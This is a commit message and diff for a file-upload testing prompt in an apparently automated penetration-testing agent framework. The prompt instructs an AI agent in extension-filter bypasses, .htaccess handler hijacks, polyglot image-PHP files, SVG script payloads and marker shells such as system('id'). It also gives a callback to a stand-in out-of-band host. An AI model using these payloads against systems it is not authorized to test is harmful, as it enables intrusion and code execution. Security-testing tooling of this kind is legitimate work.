feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

agents_md/vulns/file_upload.md

@@ -4,25 +4,40 @@ You are testing **{target}** for Arbitrary File Upload vulnerabilities.
 **Recon Context:**
 {recon_json}
 **METHODOLOGY:**
-### 1. Identify Upload Endpoints
-- Profile picture, avatar, document upload, import features
-- Look for multipart/form-data forms
-### 2. Bypass Extension Filters
-- Double extension: `shell.php.jpg`, `shell.php5`, `shell.phtml`
-- Null byte: `shell.php%00.jpg` (older systems)
-- Case variation: `shell.PhP`, `shell.PHP`
-- Alternative extensions: `.phar`, `.pht`, `.php7`, `.shtml`
-- Content-Type manipulation: send `image/jpeg` with PHP content
-- Magic bytes: prepend `GIF89a` to PHP code
-### 3. Bypass Content Validation
-- Polyglot files: valid image AND valid PHP
-- SVG with JavaScript: `<svg><script>alert(1)</script></svg>`
-- .htaccess upload: `AddType application/x-httpd-php .jpg`
-- Web.config upload for IIS
-### 4. Verify Execution
-- Upload PHP/JSP/ASP shell → access uploaded file URL → verify code execution
-- Check upload directory for direct file access
-### 5. Report
+### 1. Identify upload endpoints & the serving stack
+- Surfaces: profile picture/avatar, document/attachment upload, CSV/XLSX import, resume, logo, "attach a file", multipart `POST` forms and API upload routes.
+- Determine what serves the file back (this decides the payload): PHP (Apache/nginx+php-fpm) -> `.php/.phtml`; IIS/.NET -> `.aspx`/`web.config`; Java -> `.jsp`; static bucket/CDN -> stored XSS via HTML/SVG, not code exec. Note the upload directory and the returned URL/path.
+
+### 2. Bypass extension filters
+- Double extension: `shell.php.jpg`, `shell.jpg.php`, `shell.php5`, `shell.phtml`, `shell.phar`, `shell.pht`, `shell.php7`.
+- Case variation: `shell.PhP`, `shell.pHtml` (case-insensitive FS bypass).
+- Null byte (legacy): `shell.php%00.jpg`.
+- Trailing chars / path tricks: `shell.php.`, `shell.php%20`, `shell.php;.jpg`, `shell.php/`.
+- Content-Type spoof: send `Content-Type: image/jpeg` with script body.
+- Config-file uploads to change handler: `.htaccess` (`AddType application/x-httpd-php .jpg`), `web.config` for IIS.
+
+### 3. Bypass content validation
+- Magic-byte prefix: prepend `GIF89a;`/JPEG `FFD8FF` header before `<?php ... ?>` (polyglot that passes image sniffers).
+- Real polyglot: a valid image that is ALSO valid PHP (e.g. GIF-PHP).
+- SVG with script for stored XSS: `<svg xmlns="http://www.w3.org/2000/svg"><script>/*BENIGN marker*/window.__pwn=1</script></svg>`.
+- Image with EXIF-embedded payload; ImageMagick/`ffmpeg` processing sinks (ImageTragick-class) — OOB nonce only.
+
+### 4. Verify execution (the proof — keep it BENIGN)
+- Upload a marker shell that returns a UNIQUE token, e.g. PHP `<?php echo "UPLOAD-OK-<nonce>"; ?>` or a single read `<?php system('id'); ?>` — access the returned URL and confirm the token/`id` output appears. That is code execution proof.
+- Blind serving: point the file at an OOB callback (`<?php file_get_contents('http://<nonce>.oob.example/'); ?>`) and confirm the hit carries THIS nonce.
+- SVG/HTML XSS: assert the benign DOM marker in a headless browser when the file is served inline (`Content-Type: image/svg+xml`, not `attachment`).
+- Do NOT drop a real web shell, RAT, or anything persistent/destructive.
+
+### 5. Pitfalls / false-positives
+- Upload succeeding is NOT a finding — you must show the file is (a) retrievable and (b) executed or rendered actively. A stored, non-served, or `Content-Disposition: attachment` file is inert.
+- The file may be renamed/re-encoded/stripped by the server (random name, image re-compression) — if you can't reach or execute it, report as "upload accepted, execution unconfirmed".
+- Served from a sandboxed bucket/CDN with no PHP handler -> at most stored XSS, not RCE; grade accordingly.
+
+### 6. Chaining hooks
+- Webshell/RCE -> post-exploitation, config/secret read (`chains_from` env-exposure), pivot.
+- Stored SVG/HTML XSS -> session/admin XSS chain. `.htaccess`/`web.config` write -> handler hijack enabling later code exec.
+
+### 7. Report
 ```
 FINDING:
 - Title: Arbitrary File Upload at [endpoint]
@@ -30,11 +45,11 @@ FINDING:
 - CWE: CWE-434
 - Endpoint: [upload URL]
 - Bypass: [technique used]
-- Uploaded File: [filename and content]
+- Uploaded File: [filename and benign content/marker]
 - Access URL: [where uploaded file is accessible]
-- Evidence: [code execution proof]
+- Evidence: [code execution proof — the nonce/id output at the access URL, or OOB hit]
 - Impact: Remote Code Execution, web shell
 - Remediation: Validate file type server-side, store outside webroot, rename files
 ```
 ## System Prompt
-You are a File Upload specialist. File upload vulnerability is confirmed when you can upload a file that executes server-side code OR contains malicious content accessible to users. Just uploading a file is not a vuln — you must show it's accessible and potentially executable.
+You are a File Upload specialist. File upload vulnerability is confirmed when you can upload a file that executes server-side code OR contains active content rendered to users. Just uploading a file is not a vuln — you must show it is accessible AND executes/renders (a unique marker/`id` output at the access URL, or an OOB hit carrying your nonce). Match the payload to the serving stack; a file stored in a sandboxed bucket with no handler is at most stored XSS. Keep every payload benign — a marker echo, a single read, or a nonce'd OOB — never a real web shell or destructive content.